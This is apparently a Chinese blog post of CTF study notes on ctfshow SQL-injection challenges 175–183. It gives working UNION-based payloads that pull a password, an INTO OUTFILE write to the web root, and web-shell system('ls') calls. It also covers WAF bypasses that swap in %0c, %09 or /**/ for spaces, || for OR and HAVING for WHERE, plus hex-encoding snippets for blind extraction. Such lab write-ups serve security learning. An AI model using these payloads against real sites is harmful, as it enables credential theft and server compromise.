ctfshow sql

1、select ord('我');

得到的是ASCII值

 2、

/[\x00-\x7f]/ 是一个正则表达式模式,用于匹配任何 ASCII 字符。

具体解释如下:

  • [] 表示字符类,用于匹配其中的任意一个字符。
  • \x00-\x7f 表示 ASCII 字符的范围。\x00 对应 ASCII 0,\x7f 对应 ASCII 127。这个范围包含了 ASCII 表中的所有可打印字符,包括大写字母、小写字母、数字、标点符号等。
  • / 是正则表达式的分隔符,用于包围正则表达式模式。
  • 最后的 / 是正则表达式的结束分隔符。

因此,/[\x00-\x7f]/ 这个正则表达式模式可以匹配任何 ASCII 字符。在这段代码中,preg_match('/[\x00-\x7f]/i', json_encode($ret)) 使用这个正则表达式模式进行匹配,判断 $ret 变量中的 JSON 字符串是否包含了任何 ASCII 字符。

3、union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'啥意思?

这段SQL语句使用了以下几个语法:

  1. UNION:用于将多个SELECT语句的结果合并为一个结果集。UNION关键字前后的SELECT语句必须具有相同的列数和相似的数据类型。
  2. SELECT:用于从数据库中选择数据。在这段语句中,有两个SELECT语句,分别选择常量值1和ctfshow_user5表中的密码列。
  3. INTO OUTFILE:用于将查询结果输出到文件中。后面跟着文件路径和文件名,指定了输出文件的位置和名称。
  4. '/var/www/html/1.txt':表示输出文件的路径和名称,这里指定的是/var/www/html/目录下的1.txt文件。

ctfshow175题

 已经过滤了ASCII码,无法正常回显,那么我们的flag也就会无法显现出来了

我们可以在注入点去写文件

JavaScript 函数

函数是由事件驱动的或者当它被调用时执行的可重复使用的代码块。JavaScript函数语法,函数就是包裹在花括号中的代码块,前面使用了关键词 function: 当调用该函数时,会执行函数内的代码。可以在某事件发生时直接调用函数(比如当用户点击按钮时),并且可由 JavaScript 在任何位置进行调用。

 这些数据库是常有的其他的数据库是自己单独创建的

蚁剑有一个数据操作

 

 目录选取

1=system("ls "); 

如果我想看看其中的某个目录下的子目录

1=system("ls ./api");

 查看某个目录的东西

 ctfshow 176 

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }
      

最终结果是

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '999' or username='flag' limit 1;

ctfshow 177

先用上一个的语句没有反应

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '999' or username like '%flag%' limit 1;

自己闭合然后注释查询

999' or union select 1,2,'3';%23

怀疑空格被过滤了

9999'/**/union/**/select/**/1,2,'3';%23

有反应了

 最终的结果

9999'/**/union/**/select/**/1,(select`password`from`ctfshow_user`where`username`='flag'),'3';%23
9999'/**/union/**/select/**/1,password,3/**/from/**/ctfshow_user/**/where/**/username='flag'%23

178、

过滤了/**/

9999'union%0bselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

'or'1'='1'%23

可代替空格的字符串

%09
%0a
%0d  
%0c
/**/  
+

999'%0cunion%0cselect'1','2',(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag');%23

可以代替#的字符串

#、--、//

182、要熟练掌握当出现整个关键词的过滤时我们可以采用like来寻找其中的关键字来进行匹配

牢记住sql语句中的like用法

999'%0cor%0cusername%0clike'%fla%

or被过滤了可以用||来表示逻辑或

where被过滤了可以用having函数

SELECT department, AVG(salary) as average_salary FROM employees GROUP BY department HAVING AVG(salary) > 5000

在一些字符和数字的字符或字符串如何将其转化为16进制的字符串,应该将其转化为ASCII码后再进行16进制编码两个位数的十六进制的数字表示一个字符

 for j in  "abcdefghijklmnopqrstuvwxyz-1234567890{}":
        j2 = hex(ord(j))
这段代码的作用是将字符串中的每个字符转换成对应的 ASCII 码值,并将其转换成十六进制字符串形式。

具体解释如下:

for j in "abcdefghijklmnopqrstuvwxyz-1234567890{}"::这是一个循环语句,遍历字符串中的每个字符。
ord(j):ord() 函数用于获取字符的 ASCII 码值。
hex(ord(j)):hex() 函数用于将整数转换成十六进制字符串。这里将 ord(j) 获取的 ASCII 码值转换成十六进制字符串形式。
例如,当 j 为小写字母 a 时,ord(j) 的值为 97,hex(ord(j)) 的值为 '0x61'。

或者

str2hex(字符串)

183、当我们遇到了j2 = hex(ord(j))其返回值是0x十六进制数,而我们如何将其前面的0x去除呢

        1、运用(j2[2:])截取第二个字符后面的字符串

        2、运用replace函数如这样a=j2.replace("0x","")

        如果存在空格被过滤那么我们可以用()代替‘’

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值